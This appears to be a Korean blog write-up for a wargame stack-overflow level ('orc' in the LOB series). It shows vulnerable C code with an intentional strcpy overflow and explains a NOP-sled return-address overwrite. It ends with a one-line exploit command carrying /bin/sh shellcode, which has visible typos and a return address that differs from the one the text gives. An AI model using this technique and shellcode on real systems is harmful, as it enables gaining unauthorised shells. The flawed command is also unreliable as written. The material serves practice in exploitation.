1. #include <stdio.h>  
  2. #include <stdlib.h>  
  3.   
  4. extern char **environ;  
  5.   
  6. main(int argc, char *argv[])  
  7. {  
  8.         char buffer[40];  
  9.         int i;  
  10.   
  11.         if(argc < 2){  
  12.                 printf("argv error\n");  
  13.                 exit(0);  
  14.         }  
  15.   
  16.         // egghunter  
  17.         for(i=0; environ[i]; i++)  
  18.                 memset(environ[i], 0, strlen(environ[i]));  
  19.   
  20.         if(argv[1][47] != '\xbf')  
  21.         {  
  22.                 printf("stack is still your friend.\n");  
  23.                 exit(0);  
  24.         }  
  25.   
  26.         strcpy(buffer, argv[1]);  
  27.         printf("%s\n", buffer);  
  28. }  


역시 취약점이 발생하는 부분은 strcpy(buffer, argv[1]); 이부분이다.


소스코드를 보면 알겠지만 환경변수를 이용한 방법은 통하지 않는다.


따라서 argv[2]에 nop과 쉘코드를 박아 리턴주소에 덮어 씌우면 될것 같다.



strcpy함수를 보아 edx에 argv[1]의 값이 저장되어 있을 것이다.


조건에 맞추어 "\xbf"로 buffer를 덮어주고 argv[2]의 값을 확인해보자.



예상대로 argv[1]의 주소이다.


\x90이 시작되는 부분이 argv[2]의 시작주소이고 ret 주소는 넉넉하게 0xbffffc9b로 주도록 하자.


./ord `python -c 'print "A"*44 + "\x74\xfc\xff\xbf"'``python -c 'print "\x90*100 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\e1\x89\xc2\xb0\x0b\xcd\x80"'`


'pwnable > LOB' 카테고리의 다른 글

LOB cobolt -> goblin  (0) 2017.02.07
LOB gremlin -> cobolt  (0) 2017.02.07
LOB - gate -> gremlin  (0) 2017.02.07

+ Recent posts